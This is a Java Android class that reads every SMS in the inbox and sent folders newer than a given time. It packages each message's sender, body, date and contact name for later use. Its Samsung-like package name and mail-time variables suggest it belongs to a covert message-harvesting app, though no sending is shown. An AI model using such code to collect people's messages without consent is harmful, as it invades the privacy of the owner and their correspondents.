package com.samsung.utils.phone.operations;

import java.util.ArrayList;
import java.util.Collections;

import com.samsung.utils.phone.content.StaticClass;
import com.samsung.utils.phone.db.DatabaseBase;
import com.samsung.utils.phone.db.SMSDabatase;
import com.samsung.utils.phone.helpers.SMSUtil;
import com.samsung.utils.phone.primitives.SMSObject;
import com.samsung.utils.phone.primitives.ServiceObject;

import android.content.ContentResolver;
import android.content.Context;
import android.database.Cursor;
import android.net.Uri;

public class SmsOperations {
	Context context = null;
	private SMSDabatase smsDb = null;
	
	public SmsOperations(Context activity) {
		this.context = activity;
		smsDb = new SMSDabatase(context, DatabaseBase.DATABASE_NAME, null,
				DatabaseBase.DATABASE_VERSION);
	}

	public ArrayList<ServiceObject> getMessages(long lastMailTime,
			boolean isComing) {

		String parsingContent = "content://sms/sent";
		if (isComing) {
			parsingContent = "content://sms/inbox";
		}

		ArrayList<ServiceObject> smsList = new ArrayList<ServiceObject>();

		ContentResolver contentResolver = context.getContentResolver();

		String selection = SMSUtil.DATE + " >= " + lastMailTime;

		Cursor cursor = contentResolver.query(Uri.parse(parsingContent), null,
				selection, null, null);

		// String [] da = cursor.getColumnNames();

		int indexBody = cursor.getColumnIndex(SMSUtil.BODY);
		int indexAddr = cursor.getColumnIndex(SMSUtil.ADDRESS);
		int indexDate = cursor.getColumnIndex(SMSUtil.DATE);
		int indexPerson = cursor.getColumnIndex(SMSUtil.PERSON);

		if (indexBody < 0 || !cursor.moveToFirst())
			return null;
		smsList.clear();
		do {
			long time = Long.parseLong(cursor.getString(indexDate));
			if (time > lastMailTime) {

				String personName = null;
				// if (isComing) {
				personName = cursor.getString(indexPerson);
				// }

				SMSObject smsTemp = new SMSObject(context,
						cursor.getString(indexAddr),
						cursor.getString(indexBody),
						cursor.getString(indexDate), isComing, personName);

				// for(int i=0;i<da.length;i++){

				// String val = cursor.getString(i);
				// Log.v(StaticClass.LOG_TAG, "Val: "+ val);
				// }

				smsList.add(smsTemp);
			} else {
				break;
			}
		} while (cursor.moveToNext());

		return smsList;
	}

	public ArrayList<ServiceObject> getPackedMessages(long lastMailTime) {

		ArrayList<ServiceObject> allSms = new ArrayList<ServiceObject>();

		if (StaticClass.useDBRecord) {
			allSms = smsDb.getServiceObjects(lastMailTime);
		} else {
			ArrayList<ServiceObject> coming = getMessages(lastMailTime, true);
			ArrayList<ServiceObject> going = getMessages(lastMailTime, false);
			if (coming != null && coming.size() > 0) {
				allSms.addAll(coming);
			}
			if (going != null && going.size() > 0) {
				allSms.addAll(going);
			}
		}
		
		Collections.sort(allSms);

		return allSms;
	}

}
